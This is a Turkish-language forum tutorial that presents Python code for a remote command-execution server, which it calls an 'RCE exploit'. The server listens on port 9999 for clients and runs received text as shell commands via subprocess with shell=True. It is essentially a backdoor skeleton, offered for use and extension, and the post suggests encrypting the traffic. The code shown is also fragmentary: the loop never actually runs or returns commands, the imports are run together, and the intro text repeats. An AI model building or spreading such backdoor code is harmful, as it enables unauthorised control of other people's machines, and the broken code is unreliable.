Selamlar, bugün Python ile en basit yoldan, RCE yani ( Remote Code Execution ) Exploit yazacağız.
Kod 2 parçadan oluşacak, sunucu ve client olarak.
Burada sadece sunucuyu yazacağız.
Kütüphanelerimiz;
Bağlantı için bir oturum kimliği oluşturalım;
Şimdi komut çalıştırmak için bir fonksiyon açalım;
Şimdi Sunucuyu başlatalım;
Şimdi en son thread'leri ayarlayıp, programı bitirelim;
Kod bu kadar, basit bir kod oldu fakat amaç burada Exploit yazmak isteyip mantığını tam oturtamayanlar için.
Mantık sürekli sunucu, client arası kontak kurup bağlantıyı kesmemek ve veri okumak.
Bunu geliştirip giden gelen komutları şifreleyebilirsiniz.
Daha yapılacak çok işlem var, yüzeysel değindim burada.
SAYGILARIMLA
Kod 2 parçadan oluşacak, sunucu ve client olarak.
Burada sadece sunucuyu yazacağız.
Kütüphanelerimiz;
import socketimport subprocess import threadingimport timeimport random import stringBağlantı için bir oturum kimliği oluşturalım;
Python:
# def ile fonksiyonumuzu açtık
# random string oluşturup onu kullanacağız
# her giriş için farklı bir kimlik
def oturum_kimligi_olustur(uzunluk):
# string'i ASCII biçiminde oluşturup değişkene atadık
# for döngüsünü kurup değişkendeki harfler ile random string oluşturduk
karakterler = string.ascii_letters + string.digits
# random karakterler oluşturmak için
# uzunluk parametresini for döngüsüne verip
# random string oluşturduk
return ''.join(random.choice(karakterler) for _ in range(uzunluk))
Şimdi komut çalıştırmak için bir fonksiyon açalım;
Python:
def komut_calistir(komut):
# yine def ile fonksiyonu açıp
# komut parametresini verdik
# try ile komut çalıştırmayı deniyoruz
try:
# timeout 15 olarak belirttik
# her 15 saniyede bir çalıştırmayı deniyoruz
# "subprocess.check_output" komutu çalıştırmak için
# komut parametresi çalışacak
# belirlediğiniz komuta göre örn. "test mesajı"
# bunlarıda yazdırmak için "shell=True" veriyoruz
# bu cmd yani terminalde çalıştırmak için
# sadece windows değil, linux'ta aynı şekil
return subprocess.check_output(komut, shell=True, stderr=subprocess.STDOUT, timeout=15)
# except ile dönüş alıp
# hata mesajını yazdırıyoruz
except Exception as hata:
return f"hata: {str(hata)}".encode()
# yine fonksiyonu açıp 3 tane parametre verdik
def istemciyi_yonet(baglanti, istemci_adresi, aktif_istemciler):
# oturum kimliği oluştur diyip
# (6) ile 6 string uzunluğu belirttik
# bunu değiştirebilirsiniz kendinize göre
# sonra bunu değişkene atadık
oturum_kimligi = oturum_kimligi_olustur(6)
Python:
# istemci bilgisini aktif_istemciler'e aktarıyoruz
# kimliği ve son aktivite zamanını burada gösterecek
aktif_istemciler[istemci_adresi] = {"oturum": oturum_kimligi, "son_aktivite": time.time()}
# cliente sunucu kimliğini gönderdik
# oturum kimliğini değişlen olacağı için "{}" içinde verdik
# "encode" stringleri byte çevirmek için kullanıyoruz
# sunucuya byte şeklinde vermemiz lazım
baglanti.send(f"oturumunuz: {oturum_kimligi}".encode())
# while kurup true ile
# bağlantı almaya çalışıyoruz
while True:
try:
# istemciden 4096 bayt veri alıyoruz
# .decode ile stringe çevirip
# veri değişkenine aktardık
# yani veriyi string olarak verip
# byte dönüştürüp gönderiyoruz
# veriyi okumak için aynı şekilde çözüp okuyoruz
veri = baglanti.recv(4096).decode()
# burada veri değişkenini kontrol ediyoruz
# gelen veri yoksa kapatıyoruz
# veya kapat komutu geldiyse
if not veri or veri.lower() == "kapat":
break
Şimdi Sunucuyu başlatalım;
Python:
def sunucuyu_baslat():
# tcp soketi oluşturup
# bunu sunucu_soketi değişkenine atadık
sunucu_soketi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# sunucuyu 0.0.0.0:9999 adresine bağlıyoruz
# adres'i değiştirebilirsiniz
sunucu_soketi.bind(('0.0.0.0', 9999))
# maksimum 5 client bağlantısı
# ayarladık, bunu arttırabilirsiniz
# fakat kontrol aşamasında zorlar
sunucu_soketi.listen(5)
# aktif_istemciler değişkenini boş ayarladık
# dinmaik olarak artacağı için
# tek bir client'ten bağlantı alacaksanız
# direk ayarlayın
aktif_istemciler = {}
# sunucunun çalıştığını bildiriyoruz
print("sunucu çalışıyor")
# while ile hep bağlantıyı açık tutuyoruz
while True:
# yeni bağlantıları kabul ediyoruz
# bağlantı almak istemiyorsanız
# bir süreden sonra kapatabilirsiniz
baglanti, istemci_adresi = sunucu_soketi.accept()
Şimdi en son thread'leri ayarlayıp, programı bitirelim;
Python:
# her istemci için ayrı bir thread başlatıyoruz
# parametleri verip
# thread değişkenine atadık
thread = threading.Thread(target=istemciyi_yonet, args=(baglanti, istemci_adresi, aktif_istemciler))
# thread değişkenini
# start fonksiyonu ile başlatıyoruz
thread.start()
if __name__ == "__main__":
sunucuyu_baslat()
Kod bu kadar, basit bir kod oldu fakat amaç burada Exploit yazmak isteyip mantığını tam oturtamayanlar için.
Mantık sürekli sunucu, client arası kontak kurup bağlantıyı kesmemek ve veri okumak.
Bunu geliştirip giden gelen komutları şifreleyebilirsiniz.
Daha yapılacak çok işlem var, yüzeysel değindim burada.
SAYGILARIMLA




